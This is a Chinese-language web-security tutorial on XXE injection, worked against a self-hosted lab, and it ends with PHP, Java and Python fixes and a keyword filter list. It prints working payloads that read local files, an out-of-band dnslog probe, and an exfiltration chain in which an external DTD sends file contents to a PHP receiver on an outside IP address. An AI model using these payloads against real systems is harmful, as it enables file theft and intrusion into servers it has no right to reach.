web攻防--xxe实体注入

漏洞简介

XML 外部实体注入（也称为 XXE）是一种 Web 安全漏洞，允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件，并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下，攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击，从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。

XML简介

XML被设计为传输和存储数据，XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。等同于JSON传输。XXE漏洞XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网扫描、攻击内网等危害

XML 与 HTML 的主要差异：
XML 被设计为传输和存储数据，其焦点是数据的内容。
HTML 被设计用来显示数据，其焦点是数据的外观。
HTML 旨在显示信息，而XML旨在传输存储信息。
Example：网站的xml文件解析

XML语法参考如下文章
CTF XXE
从XML相关一步一步到XXE漏洞

漏洞发现

黑盒发现

获取得到Content-Type或数据类型为xml时，尝试xml语言payload进行测试
不管获取的Content-Type类型或数据传输类型，均可尝试修改后提交测试xxe
XXE不仅在数据传输上可能存在漏洞，同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

白盒发现

可通过应用功能追踪代码定位审计
可通过脚本特定函数搜索定位审计
可通过伪协议玩法绕过相关修复等

漏洞利用

通过搭建github上托管得xxe靶场进行复现xxe-lab
搭建效果如图
在这里插入图片描述

回显利用

抓包发现使用xml格式进行传输数据
在这里插入图片描述
直接构造payload进行尝试读取文件

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM  "file:///c:/1.txt">
]>
<user><username>&test;</username><password>pass</password></user>

成功读取文件内容
在这里插入图片描述

file：///                   #file协议读取文件
http://url/file.txt         #http协议读取站点下的文件
PHP://filter                                 #文件流形式读取php文件

无回显利用(oob)

将靶场中得回显语句注释掉即可得到无回显环境
在这里插入图片描述
无回显测试首先进行带外测试，查看XXE语句是否可以进行解析。
payload

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://g575cg.dnslog.cn">
    %file;
]>
<user><username>admin</username><password>1234</password></user>

测试返回结果报错了，查看该网址是否有访问记录
在这里插入图片描述
目标成功解析xml语句，并进行了访问

构造payload尝试进行读取文件
payload分为三部分

get.php放在用于接收数据得服务器上用于接受数据并保存为文件

<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w");
fwrite($myfile,$data);
fclose($myfile);
?>

test.dtd用于将读取到得数据赋值给get.php

<!ENTITY % all "<!ENTITY send SYSTEM 'http://101.200.161.174/get.php?file=%file;'>">

payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/1.txt">		#读取文件
<!ENTITY % remote SYSTEM "http://101.200.161.174/test.dtd">		#加载dtd文件
%remote;
%all;
]>

<root>&send;</root>	#触发test.dtd中的元素

在进行文件读取的时候，有些文件中带有空格，这样的话在将数据赋值给get.php文件时,get方法传参会将数据错误识别，这时候可以使用php://filter协议使用base64编码以数据流得形式读取文件。

漏洞修复

修复防御方案：

禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python：
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC